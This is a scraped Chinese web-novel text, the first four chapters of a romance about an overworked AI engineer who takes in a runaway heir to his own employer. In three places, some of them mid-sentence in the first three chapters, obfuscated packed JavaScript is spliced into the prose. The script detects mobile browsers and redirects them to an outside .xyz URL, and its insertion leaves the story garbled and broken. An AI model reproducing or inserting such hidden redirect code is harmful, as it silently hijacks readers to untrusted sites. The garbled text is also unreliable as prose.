《社畜美人今天还在上班》 1. 第一章 夜幕下，高大的写字楼矗立在城市上方。已是晚上十点，楼层内依旧灯火通明。 格子间内，一个戴着银边眼镜的男人正专心致志盯着面前的电脑，手里的鼠标不停点击，发出“哒哒”的声响。他骨节分明的手指在键盘上方飞快跳跃，侧面看起来像是在弹奏钢琴。 顾词面容清秀，黑软的头发服帖地覆盖在额头，散发着温润如玉的气质。 敲下最后一行字，顾词点击屏幕上的“send”，给客户的答复邮件顺利发送。 他轻吁一口气，结束掉今日的工作。 窗外，一道闪电照亮了夜空的边际，像怪物的爪子撕碎了平寂的夜色。 “轰隆隆！”雷声接踵而至。 一旁的女生惊吓道：“怎么打雷了？马上就下班了，又要下雨！” 坐在顾词对面的男生道：“这雨专淋打工人啊。” “可不是，不知道我们社畜很辛苦嘛。” 顾词仰头看旁边的窗户，室内的灯光将他的上半身映照在玻璃上。他体态很好，坐在工位上肩背笔直，加班到此时看着仍算精神。 没多久，玻璃上流过逶迤的水迹，像无数细长的水蛇在上面游走。 “轰隆！”又是一道惊雷，照亮了顾词洁白的面庞。 顾词站起身，开始收拾桌子上的东西。他的工位上几乎没有杂物，只放着两台电脑、一个键盘，外加六月雪的小盆景。 收拾起来很快。 对面的男生是和顾词一起进来的同期，名字叫赵海，他们都是今年刚毕业的硕士毕业生，在这家A市大厂工作，职位是人工智能研发工程师。 赵海看到顾词的动作，笑问：“顾词，你要回去了吗？” 顾词按灭电脑：“对，我今天的工作已经完成了。” 赵海耸耸肩，故意抬高声音：“哎呀，真羡慕你，我工作还没完成，估计得十二点才能下班。你是不是工作量不太饱和啊？” 言罢，赵海斜眼看了一下隔着几个工位的直属上级，只可惜上级正在忙别的工作，没有听到这边的动静。 顾词还没傻到听不懂弦外之音的地步——赵海一直和他不太对付。两个人是一同进来的试用员工，但转正名额只有一个。 他冷冷道：“是你工作效率太低了，刚才我还看到你和你女朋友在打字聊天。” 周围的老员工们没控制住，发出几声低笑。 赵海被他一噎，刻薄的目光扫了一圈周围的同事，脸上红白交替，难看极了。 顾词乘胜追击：“如果不信的话，你敢不敢把你微信里的聊天记录拿出来自证清白？” 赵海放在暗处的手默默握紧，他无法自证清白，因为他本不清白。 刚才，赵海确实是在和女朋友聊天，而且还是和女朋友吐槽上司，讨论高层领导的各种大瓜。 这可不兴泄露出去。 赵海明智地闭上嘴巴，目光恨恨地看着顾词穿过连廊，消失在电梯的拐角处。 没多久，黎远也合上电脑，离开了办公室。 上司离开后，老员工沈盏伸了个懒腰，浑身肌肉关节发出“咔咔”的脆响，像是生锈的机器在活动齿轮。 “没想到现在的年轻人都挺能吃苦的，天天加班到十一二点，居然都坚持下来了。我以前在顾工这个年纪可爱玩了，别说加班，我恨不得天天早退。” 另一个同事道：“要不是为了还房贷车贷，谁愿意天天加班啊。” 沈盏：“我可比你惨多了，我还有个娃娃要养，那才是无底洞呢。前两天娃一天的补课费花了我两千！” 赵海一边收拾桌面一边说：“现在大环境这么恶劣，不加班就会被认为不认可企业文化。” “那倒也是，咱们公司工资待遇挺好的，就是加班文化太严重了……”沈盏又问：“你们知道顾词为什么这么辛苦加班吗？难不成他也已经结婚了？” 赵海冷哼一声：“听说他和朋友在创业，还有个上初中的妹妹要养，他可比已婚人士悲催多了，结婚都不好结婚。” · 雨渐渐大了，落在伞面上，发出噼啪的声响。 风把雨线拉扯成细细亮亮的线，在车灯的光束下无处遁形。 初秋的天气，一场秋雨一场寒。顾词的裤管被雨淋湿，贴在皮肤上，黏糊糊的触感让人很不舒服。 走到地铁口，顾词收起伞，在地面上磕了磕雨水。 他抬脚刚准备走上电动扶梯，身后传来一声刺耳的鸣笛声。 顾词下意识回头，只见一辆黑色奥迪车停在地铁口下方，车身上倒映着顾词修长笔直的腿。 黑色车窗缓慢降下，露出一张熟悉的面孔。 是顾词的上级，黎远。 黎远是公司里的高级主管，比顾词年长几岁，拥有令人艳羡的求学履历。他曾在常青藤院校攻读本科和硕士，还没毕业就拿到百万年薪的offer，之所以回国是因为方便照顾父母。 “词，你要回家吗？我可以送你。” 男人的嗓音在雨声中比平时少了几分威仪，多了些随和的味道。 雨帘掩映下，顾词冲男人摆摆手：“谢谢黎总，这么晚了不麻烦您，我直接坐地铁回去就可以。” 顾词自己有车，但是在A市这个公共交通发达的城市，坐地铁比开车方便一些，所以他通勤一般都是选择地铁。 黎远笑道：“没什么，我记得你家是在江晋小区，正好和我家顺路。” 顾词疑惑：“黎总怎么会知道我家的地址？” “你的简历上写的，我自然记得。” 顾词有些奇怪，当时投简历的足有上千人，黎远居然能在众多简历中记住他的家庭住址，真是过目不忘。 拗不过上司，顾词重新撑开伞，走到黑色奥迪车前，手落在车门上。黑色的车身和白皙的皮肤对比强烈，加上天气湿冷，更显得清冷中透着疏离。 “那麻烦黎总了。”顾词的声线似乎也沾着水汽。 黎远缓慢启动车子，狭窄的驾驶舱内隔绝着滂沱的雨声，或急或缓地行驶着。 车内，路旁的灯光在顾词瓷白的脖颈上旋出明明灭灭的痕迹，照出男人伶仃的喉结。 或许是气温转凉的缘故，黎远觉得此时的顾词比平时坐在办公桌旁的年轻男人更白些，可以清晰看见皮肤下的青红血管。 几个月前，顾词和上千名92的学生投递了这个岗位，黎远在邮箱里看到了顾词的照片。说实话，顾词的竞争者们个个履历夺目，他并不属于最优秀的那个。 却可以说是长相最优越的。 证件照上的顾词还带着斯文的学生气，整个人在蓝色的背景中白得近乎发亮。左眼眼尾上缀着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276021|182420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一枚丹红小痣，浅棕色的眼睛直勾勾看着前方，睫毛弯弯，仿佛有着蛊惑人心的力量，让屏幕外的黎远心跳漏了一拍。 等到见到真人，才发现照片只能勾勒出顾词三分之一的气质。他举手投足礼貌疏离，一颦一笑温和却并不温驯，有种浑然天成的清冷自持。 面对几位面试官，顾词对答如流，遇到刁钻的问题也能临危不乱，在一众面试者中摘得头魁。不止黎远，几乎所有面试官都对顾词交口称赞。 黎远对顾词，是由衷的喜爱。 昏昧的光线下，顾词闻到车载香薰幽幽的白玉兰香气。 和上司同坐一车，顾词的情商不允许两人陷入沉默。他主动挑起话头，“这款车载香薰，是Dynamic的那款兰幽夜眛吗？” 黎远一边扶着方向盘一边惊喜，问：“你居然能闻出是哪一款香吗？” “我对气味比较敏感，之前在Dynamic的店里试过香，当时在兰幽夜眛和烈火如歌中犹豫不决，对这款香薰记忆比较深刻。” 黎远期待地问：“你也买了这款吗？” 顾词摇摇头，“没有，我定了烈火如歌。那款香薰前调浓烈却不令人生厌，中调带着苦杏仁的酸涩，后调绵延不绝、回味无穷。我更喜欢热烈些的。” 黎远有些失望：“没想到你居然偏爱和你底蕴相反的香薰，可惜了……” · 到了小区门口，顾词和黎远告别后下车，撑伞朝家里的方向走去。 雨还在下，顾词在车内刚被烘干的裤管上又落下了斑驳的雨渍。 将近十一点，小区内的住户只有寥落的几家还亮着灯。 顾词一边朝家走，一边给好朋友回消息。 【王新：下班了没[狗头]】 【顾词：才下班，马上到家了】 【王新：卧槽，现在都十一点了，你上司是人否】 【王新：把你上司名字告诉我，明天我就去暗鲨他】 手机上的蓝光映在顾词脸上，他一只手撑伞，一只手在屏幕上打字。 突然，身旁的黑暗中传出几声软糯的吠叫，在雨中湿漉漉的。 顾词驻足，视线中是一摞快递盒，不知是谁扔在这里的。 顾词打开手机的灯光，灯束下的雨丝犹如狂乱飞舞的透明蚊蚋，疯狂扭动着。 “嗷呜~汪~” 这次听真切了，是小狗的叫声。 他掀开纸箱，在潮湿的纸箱下发现一只手掌大的小狗，小狗浑身都淋湿了，棕色的毛一绺一绺贴在身上。看到顾词，小狗湿漉漉的眼睛在灯光下没有任何害怕的意思，反倒充满期待。 手机屏幕又亮了一下。 【王新：还没到家呢吗？】 顾词打字：“捡了只狗……” 还没将信息发出，突然，纸箱掀开，一个少年站起身。 男人看着像刚成年，头发短而硬，一脸青涩气息，眉眼中透着少年的桀骜。他额角上似乎受了伤，结着干涸的血迹。 顾词看着输入框内的文字，沉思：“……” 这到底算是捡了只狗还是捡了个男人？ · 另一边。 王新看着手机屏幕上的字，眼神呆滞。 只见微信上方赫然列着一行字： 【顾词：捡了个狗男人……】 2. 第二章 第二章关山若飞/文 年轻男人看到顾词，站起身，抖了抖身上的水。 顾词见男人实在狼狈，不忍心让他就那么淋着，将伞擎到两人头顶。 没想到对方个子挺高，目测得有一米八几，顾词只到对方肩膀。两人在伞下，显得很局促。 顾词抬起手，以免伞面碰到男生的脑袋。 “你受伤了……”他盯着男生脑袋上拳头大小的血渍，本能地关心道。 “需要帮助吗？”顾词那双浅色的眸子在夜色中透着亮光。 脚底的小狗在顾词脚边打了个滚儿，露出白软的肚皮，“嗷呜”了一声，似乎是在替男生回答。 男生眼皮有些沉重，感觉身体像是放在炭火上炙烤，肚子里空荡荡的，脑袋沉甸甸地发胀。 面前的男人看着像是一个上班族，辰星烁不知道能否信任对方。 两天前，他和父母吵了一架，辰父怒火上涌将手边的烟灰缸砸到他脑袋上，辰星烁二话没说就离开了家。 这是辰父第一次动手打他，辰星烁气不过，决定再也不回家了。 兀自想着，辰星烁感觉对面男人的面孔似乎离他越来越近，紧接着身体一软，像是倒在了一个柔软的沙包上，失去了意识。 “沙包”：“……” 这是被碰瓷了么？ 十分钟后，顾词将男生半搀半扶带回了自己家。 哦，身后还跟着耳朵一颠一颠的小狗，跟屁虫似的。 到家的时候，顾词犯了难。 到底要不要把男人丢到沙发上？ 顾词是个有洁癖的人，这个少年浑身都被雨水淋湿，如果丢到沙发上，顾词觉得他不会想要那个沙发了。 可是如果把人丢地板上，似乎也不太好…… 想了一会儿，顾词灵机一动，下一秒就行动起来。他在储物室里找了一块防尘塑料布——之前出去旅游，为了防止家里的沙发和桌上落灰，专门买的。顾词把塑料布铺在沙发上，然后将男人架到上面。 该说不说，这个少年还挺沉的，顾词的身体有些吃不消。 搀扶少年回来的时候，顾词就知道对方发烧了。那人皮肤很烫，隔着布料，都能感受到燃烧的热度。 人发烧的时候是很危险的，一不小心可能烧坏脑子，不管怎么样，得先退烧。 顾词用体温枪给男人测了体温，38.9摄氏度，果然烧得不轻。 他在家里的医疗箱里找到退烧药，将药片放在少年嘴里，用一次性纸杯给对方喂了一口水，一点点将药物送进男生体内。 做完这些，顾词又将那人身上的湿衣服脱掉，给他盖上毛毯。在这个过程中，顾词没有控制住，多看了几眼男人腰腹上的八块腹肌。 不得不说，顾词是有些吃惊的，因为他从没有见过这么漂亮的腹肌。块垒分明的肌肉上覆盖着薄薄的皮肤，依稀可以看到两边淡淡的血管。配合着男人宽阔的肩膀，堪称完美的倒三角身材。 建模真不错，顾词暗暗赞赏。 做完这些之后，顾词给男人额头的伤口简单处理了一下。 伤口是一个指甲大小的裂口，顾词用碘酒给他消了毒，又覆上绷带。 少年眉心紧蹙，昏迷中抿着平直的唇线，即使如此，也能看出来那是一张帅气的脸。 给少年处理完，顾词才去给小狗弄吃的。 顾词和王新投资开了一家宠物店，家里放着之前储备的狗粮。顾词给小狗倒了一碗狗粮并弄了些干净的水。小狗跟着他忙前忙后，尾巴摇得只能看到残影，兴奋地在顾词身后跑来跑去。 顾词摸了摸小狗的脑袋，小狗原地转了个圈。 狗狗吃饱后歪在沙发旁睡觉，顾词用体温枪给沙发上的男人又测了一下体温，温度已经降到37.5℃。 弄好这些，顾词才分出空余的时间去解决自己的洗漱问题。 等他穿着浴袍从卫生间走出，少年正好也醒了。 看着不着寸缕的身体，辰星烁怔愣片刻，嗓音沙哑：“我衣服去哪里了？” 面前穿着黑色浴袍的男人一边擦着头发上的水，一边轻飘飘地说：“我看你那身衣服太脏了，就扔垃圾桶里了……” 说完又补了一句：“你之前的衣服摸着布料不太好，款式也有点儿丑，应该不值钱，我借你一件衣服好了。” 辰星烁表情差点儿裂开：“……” 居然有人说他的衣服不值钱，他身上的衣服是米兰著名设计师给辰星烁专门设计的，纯手工制作，是辰母送他的生日礼物。上面有设计师亲手绣的签名，价值几十万美金……居然有人觉得它丑。 顾词当然没听到男生心中的呐喊：“我看你年纪不大，是还在上学吗？” “我已经参加完高考了——”辰星烁说完，肚子“咕噜”“咕噜”响了几声。 顾词笑道：“你饿了？冰箱里还放着我做的三明治，要吃吗？” 要是放在以前，辰星烁打死也不会吃三明治，但是现在他真的很饿，他已经两天没有好好吃点东西了。 而且—— 晕倒前辰星烁在黑暗中没有看清顾词的样子，现在男人站在不远处，黑色浴袍衬得他皮肤如雪般白皙，小腿线条紧致光滑，一双眼睛莹润着水汽，可能因为刚沐浴过，饱满的唇上晕染着嫣红的颜色。 辰星烁从没见过这么好看的男人。 他好像失去了拒绝顾词的能力，紧张地说：“好……谢谢……” 顾词将擦过头发的浴巾放在距离少年不远处的椅子上，脚步慵懒地朝冰箱走去。辰星烁的视线随着男人的行迹转移，他看到男人打开冰箱的门，冰箱内蓝色的光打在男人的身体上。 辰星烁闻到浴巾上散发的洗发露的香气，是他从没闻到过的味道，但他发自内心地喜欢那味道。辰星烁动了动鼻子，贪婪地捕捉着空气中幽幽的香气。 “喏，快吃吧。”顾词将用保鲜膜包着的三明治递给辰星烁。 辰星烁“哦”了一声，有些心虚地揉了揉鼻尖。 “对了，我还不知道你的名字呢？” 辰星烁正准备实话实说，眼角余光突然瞥到玄关衣帽架上的一个帆布包。 那是一个很普通的帆布包，上面印着蓝色云图模样的logo。 “你在星云工作？” 顾词有些奇怪：“你怎么知道的？” 辰星烁指了指帆布包：“我认识那个logo。” 这个帆布包是星云二十周年庆时给员工发的礼物之一。 顾词顺着辰星烁手指的方向看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276022|182420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去，笑了笑：“嗯，那是我刚入职时公司发的。我叫顾词，是星云的研发人员，”顾词想起什么，又解释，“不算是正式员工，还没到六个月。” “我叫……陈星……”辰星烁揉了揉后脖颈。 “你是和父母闹别扭了吗？” “算是吧。”不过这个“别扭”有点大，辰星烁已经准备和父母“断亲”了。 顾词想说些什么，但想了想还是没有多嘴。 这时，小狗醒了，又开始用身体蹭顾词的拖鞋。 辰星烁问：“你决定怎么处理它？” 顾词没有犹疑：“送到我朋友那里，他是开宠物店的。我平时上班很忙，没时间照顾另一个生命，不如给它找个好人家。” “看它还挺喜欢你的。”辰星烁看着露着肚皮，支棱着四只肉垫，想让顾词摸摸的小狗说。 顾词蹲下身，用手揉揉小狗的白肚皮，“我小时候养过一只狗，养了有七八年，后来它被狗贩子偷走了……” 辰星烁：“所以你就不敢再养狗了？因为害怕再次承受不住打击？” 顾词觉得和一个陌生人说自己的经历没有必要，反正以后也不会再有交集。他笑了笑，没有多做解释。 “今晚你先在这里将就一下，明天我把你送回家。“ 辰星烁不置可否，问：“你家卫生间在哪里？我想上个厕所。“ 顾词用手指了指对面的方向。 辰星烁长腿一迈，走了过去。 没多久，顾词听到浴室传来淋浴的声音，他一惊，迅速走到浴室门口。 语速急促：“你怎么洗澡了？” 磨砂玻璃后传来闷闷的声音：“我身上太脏了……” 顾词：“你不知道发烧的人不能洗澡吗？会加重病情的。” 没想到这个少年还是个生活白痴。 辰星烁不以为意：“没事，我身体很好。” 顾词：“……” “对了，你可以帮我找件干净的衣服吗？” 事已至此，顾词也没办法了。他只能去给少年找衣服。 没多久，男生穿着顾词的睡衣从浴室走出。 他看着到刚到手腕的袖子和变成七分裤的睡裤，“你的衣服，我穿着好像有点小……” 顾词：“这是我能找到的最大的衣服了，先将就一下。” 辰星烁将衣袖放在鼻尖闻了闻，上面有一股洗衣凝珠的香气，像是乌木雪松的味道，他莫名挺喜欢的。 可能这就是“气味相投”。 顾词看着面前手长腿长的少年：“现在的年轻人好像普遍个子更高一些。” 又道：“下次得注意了，发烧的时候不要洗澡。” 辰星烁笑道：“我是第一次听说这个理论，以前生病的时候都是照洗不误……” 顾词默默在心里给少年的父母扣分。 他猜测“陈星”家里应该有些窘迫，父母大概率每天忙于生计，只负责把孩子生下来，没有尽到教育的责任。 辰星烁还在沾沾自喜：“我身体挺好的，你不用担心。” 顾词不置可否，淡淡道：“身体好不好不太清楚，但有一点可以确认。” “什么？” “你活到现在，应该挺难杀的……” 3. 第三章 第三章 关山若飞/文 顾词取下沙发上的防尘塑料布，“既然你已经洗干净了，就直接在沙发上睡吧。” 辰星烁：“好。” “冰箱里还有一些水果，你饿了，可以吃。” 等顾词离开后，辰星烁竖着耳朵，听到门锁落下的声音，他脚尖一转，朝垃圾桶大步迈去。 男人蹲下身，在垃圾桶里捞起那件棕色外套。他嫌弃地歪头，顾词虽然对这件衣服的估值有失偏颇，但有句话是对的。 这个衣服确实太脏了。 至于丑…… 辰星烁仔细端详，最后得出结论：不是每个人都能欣赏米兰设计师的审美。 他理解，因为第一眼看到这个衣服的时候，辰星烁也觉得丑，后面硬生生看顺眼了——因为价格真的很贵。 辰星烁找了个黑色塑料袋，把衣服放在袋子里。 然后才回去睡觉。 闻着洗衣凝珠若有若无的香气，辰星烁无需酝酿，没多久就睡着了。 - 辰星烁是被早饭的香气弄醒的。 他睁开眼，看到一个男人正在中岛台后忙碌，视线渐渐清晰 。 辰星烁看了一眼墙上的钟：“才六点多，你上班需要起这么早吗？” 顾词穿着一个薄款白色毛衣和蓝色休闲裤，腰上系着黑色围裙，脚边蹲着一只小狗，狗狗正专心地看着认真做饭的顾词。 “汪！”看到辰星烁，小狗叫了一声。 顾词一边把锅里的面条挑出来，一边说：“我九点到公司，但是得把小狗送到我朋友那里，还要把你送回家，肯定要起早一点。” 辰星烁疑惑：“为什么不请一天假？这样就不用急急忙忙的了。” “因为我是核动力牛马。”顾词自嘲道。 而且请假不仅没了全勤，还失去了一天的工资。 不划算。 辰星烁走到男人身边，看顾词在碗里放进一小勺猪油，撒上葱花，放上半个溏心蛋，一碗热气腾腾的阳春面就做好了。 从他的角度，顾词的侧脸逆着光线，长长的睫毛像盛开的鸢尾花。 辰星烁咽了咽唾沫。 他好饿…… 顾词把一碗面递给辰星烁：“你拿稳点，小心烫到。” 辰星烁“哦”了一声，捧着面走向餐桌。 顾词在小狗的碗里倒了满满的狗粮，小狗脑袋埋在碗里，恨不得“嗷呜”一口把狗粮全都吃掉。 辰星烁正看着面前的阳春面发呆，突然耳边“滴”得响了一声，脑袋上方传来顾词清亮的声音：“36.8，已经退烧了……” 顾词收起体温枪，“快吃吧，时间要来不及了。” 辰星烁拿起筷子：“我没吃过这个……” 顾词一愣，虽然知道少年家里条件不是特别好，没想到对方已经穷到连面条都吃不起。 顾词心中泛起一丝怜悯。 他从小父母因为意外去世，和妹妹相依为命，生活清寒。有时候妹妹饿了，顾词就会给她做一碗阳春面。因为阳春面做法简单且食材便宜，算是物美价廉的食物。 没想到还有家庭会不如他们家。 会吃不起一碗面条。 顾词说：“这叫阳春面，做法挺简单的。” “我听说过阳春面，但我没吃过。”辰星烁用筷子挑起一绺面条，放进嘴里。 柔软筋道的面条裹着汤汁滑进肠胃，辰星烁眼睛一亮。 没想到有人可以把面条做得这么好吃，比意大利面好吃多了。 辰星烁三下五除二吃光了面，连带着喝光了碗里的汤汁，面条汤并不寡淡，加了葱花和胡椒面，反而很鲜美。 吃完早餐，辰星烁从没有觉得这么满足过。他竟然觉得家里请的米其林厨师每天做的山珍海味，都比不过顾词随便下的一碗面。 辰星烁目光看向正在把小狗装进笼子里的顾词，问：“你真要把它送走？” “对啊，我每天除了睡觉会回家，其余时间都在公司，它一个人在家里也会孤单，我给不了它陪伴。” 小狗似乎听懂了顾词的话，一双圆溜溜的眼睛骨碌碌转着，在笼子里打转儿，“嗷呜”“嗷呜”叫着。 顾词摸了摸小狗的脑袋，站起身：“走吧。” 为了送走小狗和辰星烁，顾词决定开他的二手宝马去上班。 他和王新一起投资开了一家宠物护理店，名字叫暖爪屋，过去积累了一些稳定的客户，今年已经开始盈利。暖爪屋服务矩阵相对完善，不仅包括宠物护理，还有宠物寄养、宠物售卖等。 顾词想着把小狗放在店里，可以为它找个主人。 到了目的地，顾词把车子停在暖爪屋前面的空地，走到后备箱取笼子。 一个棕色短发的男人从暖爪屋跑出来，他身上穿着印有可爱狗狗图案的工作服，肩膀上坐着一个萌萌的垂耳兔，围裙上是一个粉红色的猫爪。 这个人就是顾词的大学同学兼好友，名字叫王新。 王新知道顾词要来，兴奋地拍了一下顾词的肩膀。 “你总算来了，我这几天都要累死了，啥时候来店里帮忙？” 顾词把装着小狗的笼子递给王新：“昨天加班到十点，要是早点下班，我肯定过来给你帮忙。” “最近客流量明显变多了，我得再招个帮手。”王新肩膀靠着顾词说话，完全没注意到顾词身后还站着一个男人，“而且，我这几天有个想法，我想招个主播在音符上直播卖宠。最近这个很火，不过我们得联系个靠谱的宠物托运公司。” 顾词说：“我前阵子也想到了，这两天工作太忙了忘了和你说。” 王新一听，觉得两人真是天下第一好，啥事都能想到一块去。他正想用手搂一下顾词的右肩，身后突然传来清脆的咳嗽声。 王新收回伸出去的手，目光顺着声音的来源张望，这才注意到顾词身后站着一个个子很高的男人。 王新用下巴朝辰星烁的方向努了努，以三个人都能听到的音量 ，问：“这就是你昨天捡到的狗男人？” 辰星烁：“……” 他在想，要不要“汪”一声以示尊重。 顾词想捂住王新的嘴，可惜已经来不及。一向双商在线的他居然卡壳了，慌忙解释道：“不是‘狗男人’，是‘狗’、‘顿号’、‘男人’……” 为了防止辰星烁不理解，顾词用食指指了一下小狗，又指了一下辰星烁：“狗和男人，可能我忘了打标点符号了。” 王新放声大笑：“瞧你吓得，至于吗？” 他把脸转向辰星烁：“这小帅哥长得不错哦，叫什么名字？” 顾词替人回答：“陈星，‘陈皮’的‘陈’，‘星星’的‘星’。” “怎么都是星星？”王新摸了摸脑袋。 顾词：“什么叫都是星星？” “你待的公司叫‘星云’，捡的男人叫‘星星’，可不都是星星嘛。”王新说。 顾词：“……” 他说：“这个男生是和父母吵架离家出走的，我等会儿要把他送回家。” 王新不信任地看了辰星烁一眼，幽幽开口：“就怕送不走……” 辰星烁：“……” 感觉被人针对了。 离开暖爪屋，顾词声音中带着歉意：“我朋友说话有点直白，但他人很好的。如果他说了什么让你不舒服的话，我替他向你道歉。” 辰星烁说：“我还不至于这么小气。” 顾词系上安全带：“对了，你还没告诉我你家的具体地址呢。” 昨晚辰星烁告诉他自己也住这个镇，但没有告诉顾词具体的位置。 “星图——”辰星烁差点就把家里私人庄园的地址秃噜出去，语气转了个弯儿，“星途大道，你把我送到那里就好了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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顾词看向方凯，目光在那辆价值不菲的迈巴赫上流连，语气中带着一丝怀疑：“这是你家人吗？” 辰星烁知道顾词在怀疑什么，他斩钉截铁地说：“那车是他刚租的，他最近想泡妞。” 方凯正想口吐芬芳，被辰星烁及时搂住，整个人埋在后者的胸膛前，辰星烁一边笑一边小声在方凯耳边道：“有什么话等会儿说，现在给我闭嘴……” 他挣扎了几下，奈何辰星烁力气不容小觑，生生把他按在怀里，别说张口解释了，就连动都动弹不了。 “恩，那我回去了。”顾词觉得以后应该不会再和这个少年见面了，多了一嘴：“以后不要再离家出走了，多珍惜和父母的缘分，好好读书。” 辰星烁点点头：“路上小心。” 等顾词离开后，方凯从辰星烁怀里跳出来。 他额上青筋耸动：“你居然说我的迈巴赫是租来的！我方凯的人生辞典里就没有‘租’这个字！来来来，你告诉我这个字怎么写？！” 辰星烁：“行了行了，我下次直接赔你一辆迈巴赫，解气了吗” 方凯冷哼一声：“这还差不多，啥时候去看车？” “车车车，你就知道车，兄弟我都这样了，你能不能假意关心一下？” “还不是你自找的，跟伯父伯母吵什么架？从了他们不就得了！”方凯扫了一眼辰星烁，拍了一下大腿，笑道：“你这身上穿的什么东西？” 辰星烁还穿着顾词给他找的衣服，在他身上看着紧巴巴的。 他会心一笑：“你懂个屁，我这一身可不是衣服。” 方凯像看傻子一样看着辰星烁：“不是衣服是什么？难道是迈巴赫？” 辰星烁怼了一下某人的脑袋：“它可比迈巴赫重要多了。” 方凯揉了揉脑袋：“听不懂……” “是钥匙，钥匙你懂不懂。” 再次打开某扇门的钥匙。 4. 第四章 第四章 方凯一只眼大一只眼小：“离家出走一趟，还学会故弄玄虚了！你到底回不回家了？” 辰星烁怒道：“我才不回去呢，你看我额头，我爹砸的，亲爹！” “你肯定气着他老人家了。“ “你还是不是我朋友？怎么胳膊肘往外拐？” 方凯：“我是站在正确的那方，说说，到底是因为什么？” “我爸说我现在没个正形，想把我送到国外读书，否则就给我找个老婆，让她管着我。” “就这？”方凯震惊地张大了嘴，“让你出国念书不是对你好吗？给你找老婆也是好事啊，你还不乐意上了。我想让我爸妈给我找老婆他们都不让！不仅不让，甚至连女朋友都不让我找。“ “那能一样吗？你爸妈是怕你搞大了人家的肚子。” 方凯：”……“ 辰星烁义正言辞：“反正我是不会回家了，我自己的老婆自己找，不需要别人掺和。” 方凯乜了他一眼：“你也不想想，假如没了星云的光环，你能不能找到老婆都是个事儿。反正我是很清楚的，如果不是因为我爸妈的资本，估计没有姑娘愿意和我谈恋爱。” 辰星烁刺他：“你自我认知还挺清晰。” 方凯：“？？？” 兄弟跟你心掏心，你把兄弟当傻be。 “接下来咋整？你身上还有没有钱？” 辰星烁把一个黑色塑料袋丢给方凯：“你找个干洗店把这里面的衣服洗一下，然后帮我卖掉，这不就有钱了？” 方凯一脸嫌弃地接过塑料袋，打开口子往里瞅了一眼：“什么玩意儿？” 视线中看到一个棕色的布料：“不会是之前伯母送你的生日礼物吧？就是那个米兰设计师专门为你设计的丑穿搭？” 辰星烁：“……” 这已经是第二个人说他的衣服丑了。 他开始接受现实：“丑不丑无所谓，重点是这个衣服上有著名设计师亲手绣的签名，这个签名很值钱。” 方凯问：“你心里预期是多少？” 辰星烁伸出右手，五根手指岔开。 方凯：“五十块？” 辰星烁右手直接盖到方凯脸上：“五十个！” 方凯露出看傻子的神情：“呵呵了，你以为所有有钱人都是傻子啊？” “五十块卖掉我才是傻子。” · 星图庄园。 一个容貌姣好的女人裹着红色鹅绒披肩，坐在鹿皮沙发上。旁边的茶几上放着青瓷盏，里面插着娇嫩欲滴的百合花。 女人年龄四十岁出头，保养得当，眼角几乎看不出岁月的痕迹。 她手里举着手机，正在和对面通话。 “对对对……那孩子不知道跑哪里去了，身上连一毛钱都没有……我担心啊……一定要帮我找一找……” 挂上电话，白伊情叹了一口气。 一旁的黄管家上前劝慰：“夫人不用过于担心，少爷也不是小孩子了，等他在外面遭了罪，自然就知道回家了。” 白伊情依旧愁眉不展：“星烁从没有离家出走过，看样子这次是真的动气了……” 辰鸿昌不知何时也来到了大厅，他语气冷硬：“他还生气？让他去国外读书他不愿意，让他结婚也不愿意。整天就知道和狐朋狗友在一起玩乐，我怎么就生出这么个混账玩意儿？！” “孩子还小，结婚确实还早。”白伊情说，“至于读书，他不是今年才高考完吗？那么着急干什么？同一辈的孩子中，咱家星烁已经算很不错了，人又孝顺也不搞违法乱纪的事情。” “上次出手打孩子确实是我不对，但星烁是我的儿子，以后要接手星云，不能任由他这么胡闹下去。等他下次回家，要么出国深造学点真才实干回来，要么直接到基层历练几年。”辰鸿昌叹一口气，“我也老了，就他一个独子，现在公司里事情繁多，如果我撑不住了，他必须得顶上。” 辰鸿昌的话不无道理。 近几年，人工智能行业更新迭代很快，每一天都是日新月异。辰星烁必须成长起来，承担起自己的责任，否则以辰鸿昌一个人，一旦出点什么事情，几代人积攒的企业，随时可能毁于一旦。 “我在A国有一家企业，是和国外大学搞机器人合作的。如果星烁愿意出国留学，正好可以一边攻读学位一边帮我打理公司。” 白伊情点点头：“这倒是一个不错的选择，让他学以致用，才能更快成长。不过现在当务之急是把他找回来。” 辰鸿昌安慰她：“我已经让人去找了，你不用担心。” 白伊情叹了一口气，胸口小幅度起伏，语气无可奈何：“儿女真的是一辈子的孽缘……” · “等会儿你想去哪里玩？”方凯问，“好不容易见一面，不能就让我陪你在马路牙子上放风吧？” “我想去商超买点儿东西。”辰星烁说。 “可以啊，我最近正好想买块新表，去京朝咋样？” 京朝是A市有名的奢侈品商超，里面的商品动辄几十万乃至上千万。 辰星烁斩钉截铁：“不去。” 方凯挠头：“那你想去哪里？” “有没有东西比较便宜的商超？” 方凯：“咋？辰公子准备微服私访了？” 辰星烁认真脸：“有没有？” “有有有，你想去我还能拦着你咋地？想去便民一些的商超还不好找吗？地图随便一搜就可以。” “行，那赶紧去吧。” “不过，你得告诉我你到底想干什么？”方凯问。 